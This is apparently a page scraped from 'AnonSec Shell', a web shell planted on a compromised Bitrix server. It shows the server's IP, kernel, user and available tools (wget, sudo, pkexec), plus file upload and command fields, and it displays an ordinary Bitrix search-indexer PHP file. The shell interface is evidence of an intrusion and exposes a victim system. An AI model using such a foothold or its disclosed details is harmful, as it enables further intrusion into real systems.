AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.137.198.223
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/sender/lib/search/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/sender/lib/search/indexer.php
<?php

namespace Bitrix\Sender\Search;

use Bitrix\Sender\Entity;
use Bitrix\Sender\Runtime;
use Bitrix\Sender\Internals\Model;
use Bitrix\Main\Application;

/**
 * Class Indexer
 * @package Bitrix\Sender\Search
 */
class Indexer
{


	/**
	 * Index letters.
	 *
	 * @param int|null $lastId ID of last indexed element.
	 * @return int|null
	 */
	public static function indexLetters($lastId = null)
	{
		$timer = new Runtime\Timer(Runtime\Env::getJobExecutionTimeout(), 100);

		$filter = [];
		if ($lastId)
		{
			$filter['>ID'] = $lastId;
		}
		$list = Model\LetterTable::getList([
			'filter' => $filter,
			'order' => ['ID' => 'ASC']
		]);

		$nextId = null;
		foreach ($list as $item)
		{
			$letter = Entity\Letter::createInstanceByArray($item);
			$letter->saveSearchIndex();

			if ($timer->isElapsed())
			{
				$nextId = $item['ID'];
				break;
			}
		}

		if (!$nextId)
		{
			$hasIndex = Application::getConnection()->getIndexName(
				Model\LetterTable::getTableName(),
				["SEARCH_CONTENT"],
				true
			) !== null;

			$entity = Model\LetterTable::getEntity();
			$entity->enableFullTextIndex("SEARCH_CONTENT", $hasIndex);
		}

		return $nextId;
	}

	/**
	 * Index letters by agent.
	 *
	 * @param int|null $lastId ID of last indexed element.
	 * @return string
	 */
	public static function indexLettersAgent($lastId = null)
	{
		$nextId = self::indexLetters($lastId);
		if (!$nextId)
		{
			return '';
		}

		return "\\" . __CLASS__ . "::indexLettersAgent($nextId);";
	}
}

Anon7 - 2022
AnonSec Team